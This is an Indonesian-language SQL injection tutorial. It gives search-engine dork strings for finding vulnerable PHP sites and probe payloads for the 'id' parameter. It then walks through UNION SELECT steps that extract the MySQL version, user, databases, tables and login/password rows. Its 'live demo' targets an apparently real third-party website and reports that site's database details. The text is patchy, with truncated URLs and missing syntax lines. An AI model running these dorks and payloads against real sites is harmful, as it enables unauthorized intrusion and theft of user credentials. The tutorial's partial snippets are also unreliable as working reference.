Untuk menghindari link berbahaya dari website yang telah terinfeksi
serangan SQL injection, Anda dapat menggunakan aplikasi tambahan seperti NoScript yang merupakan Add-ons untuk aplikasi web browser Firefox. Meskipun tidak terlalu sempurna, setidaknya Anda dapat mengurangi kemungkinan Anda menjadi korban.
ada beberapa contoh kata kunci untuk menemukan website yang vuln :
inurl:content.php?id=
inurl:index.php?id=
inurl:main.php?id=
inurl:streampage.php?id=
inurl:base.php?id=
inurl:content.php?id=
inurl:catalog.php?id=
inurl:view.php?id=
inurl:detail.php?id=
inurl:page.php?id=
situs.com/index.php?id=1
memulai pencarian vuln di parameter ID
a. situs.com/index.php?id=1+and+1=1 (true dan true = true)
jika keluar halaman seperti id=1, mungkin itu merupakan vuln website
situs.com/index.php?id=1+and+1=2 (true dan true = false)
jika keluar halaman yang menemukan error, halaman kosong, atau redirect , berarti website itu mengandung vulnerable
b. situs.com/index.php?id=1’+and+’1’=’1 (true dan true = true)
situs.com/index.php?id=1’+and+’1’=’2 (true dan false = false)
c. situs.com/index.php?id=1″+and+”1″=”1 (true dan true = true)
situs.com/index.php?id=1″+and+”1″=”2 (true dan false = false)
d. situs.com/index.php?id=1+order+by+1–+
situs.com/index.php?id=1+order+by+1000+–+
jika keluar halaman yang menemukan error, halaman kosong, atau redirect , berarti website itu mengandung vulnerable
e. situs.com/index.php?id=1
situs.com/index.php?id=2-1
f. situs.com/index.php?id=1
situs.com/index.php?id=1*1
g. situs.com/index.php?id=
jika keluar halaman yang menemukan error, halaman kosong, atau redirect , berarti website itu mengandung vulnerable
h. mysite.com/index.php?id=1′
jika keluar halaman yang menemukan error, halaman kosong, atau redirect , berarti website itu mengandung vulnerable
i. mysite.com/index.php?id=1malingsial
“Unknown column ‘1malingsial’ in ‘where clause” <— vuln
j. situs.com/index.php?id=1)/*
k. situs.com/index.php?id=1’)–+
l. situs.com/index.php?id=1″/*
m. situs.com/index.php?id=1))—+
situs.com/index.php/id/6/
situs.com/index.HTM?id=1
kenapa ditemukan error atau redirect????
okee agar dapat dimengerti, anda harus mempunyai kemampuan dalam pemrograman PHP dan MySql
$q = “SELECT id,info FROM mytable WHERE id=”.$id;
$r = mysql_query($q);
$result = mysql_fetch_row($r);
echo “myid “.$result[0].”
info”.$result[1];
$q = “SELECT id,info FROM mytable WHERE id=1 and 1=1”;
$r = mysql_query($q);
$result = mysql_fetch_row($r);
echo “myid “.$result[0].”
info”.$result[1];
bila saya menulis id=1 and 1 = 2:
$q = “SELECT id,info FROM mytable WHERE id=1 and 1=2”;
$r = mysql_query($q);
$result = mysql_fetch_row($r);
echo “myid “.$result[0].”
info”.$result[1];
jika saya menulis:
$q = “SELECT id,info FROM mytable WHERE id=”.intval($id);
$r = mysql_query($q);
$result = mysql_fetch_row($r);
echo “myid “.$result[0].”
info”.$result[1];
$q = “SELECT id,info FROM mytable WHERE id=’ “.addslashes($id).” ‘ “; //without spaces
$r = mysql_query($q);
$result = mysql_fetch_row($r);
echo “myid “.$result[0].”
info”.$result[1];
itu berarti anda dapat menjebol website tersebut dengan metode SQL-Injection.
situs.com/index.php?id=1+and+1=2+UNION+SELECT+1,2+–+
situs.com/index.php?id=1+and+1=2+UNION+SELECT+1,2,3+—+
situs.com/index.php?id=1+order+by+1+–+ (tidak ada error)
situs.com/index.php?id=1+order+by+1000+–+ (bila disini keluar error berarti didalam query tidak mempunyai 1000 kolom)
situs.com/index.php?id=1+order+by+50+–+
…
jika tidak keluar error, contoh, kita anda mengetikan order+by+10, dan keluar error ketika anda mengetikan order+by+11+–+ berarti query tersebut hanya mempunyai 10 kolom.
jika anda menemukan nomor kolom (dalam hal ini 10) maka perintah yang harus diketikan :
dalam hal ini saya sertakan dengan Live Demo:
http://www.ewpa-majs…ECT+1,2,3,4+–+
4 tabel, nomor kolom: 3
tapi sebelum itu, kita harus mencari database, user dan versi MySqlnya.
Berikut contoh pencarian database, user dan versi MySqlnya.
http://www.ewpa-majs…concat(version(),0x3a,database(),0x3a,user()),4+–+
0x3a – adalah konversi hex dari ” : “.
anda juga dapat menggunakan syntax tanpa ():
version()=@@version
user()=CURRENT_USER
database : ewpa_majster01
user : ewpa_majster01@127.0.0.1
versi My SQL: 5.0.51a-24+lenny2+spu1-log
Berikut Syntax yang digunakan :
group_concat(schema_name) + from + information_schema.schemata
Berikut Contoh Pengeluaran Databasenya:
http://www.ewpa-majs…cat(schema_name),4+from+information_schema.schemata+–+
seperti yang kita liat ada 2 database : information_schema,ewpa_majster01
kemudian kita melanjutkan dengan mengeluarkan nama tabelnya:
berikut syntax yang digunakan :
http://www.ewpa-majs…ncat(table_name),4+from+information_schema.tables+–+
karna cukup banyak nama tabelnya jadi saya tidak menulisnya disini…
karna kita tidak memerlukan tabel yang dari database “information_schema”:
berikut syntax yang digunakan :
http://www.ewpa-majs…ncat(table_name),4+from+information_schema.tables+where+table_schema<>0x696e666f726d6174696f6e5f736368656d61+–+
696e666f726d6174696f6e5f736368656d61 = hasil konversi hex dari “information_schema”
tapi anda juga bisa mencoba ini:
http://www.ewpa-majs…ncat(table_name),4+from+information_schema.tables+where+table_schema=database()+–+
kemudian kita harus menemukan kolomnya (dalam contoh saya mengambil tabel ewpa_user):
Berikut Syntax yang digunakan :
daftar kolom-kolom : id,login,pass
Kemudian Langkah Selanjutnya adalah mengeluarkan seluruh isi kolom yang ada di dalam tabel
Berikut Syntax yang digunakan :
jika anda ingin mengeluarkan hanya 1 per 1 isi kolom saja, gunakan syntax : LIMIT [row],columns_count:
Berikut contohnya :
http://www.ewpa-majs…a+LIMIT+0,4+–+ http://www.ewpa-majs…a+LIMIT+1,4+–+ http://www.ewpa-majs…a+LIMIT+2,4+—+
melihat password r00t:
berikut syntax yang digunakan :
Berikut Contoh Syntax yang digunakan untuk double query :
>v5.0.12
Bagaimana Query ini bekerja..?
gabungkan query kiri ke query kanan dengan satu nama kolom.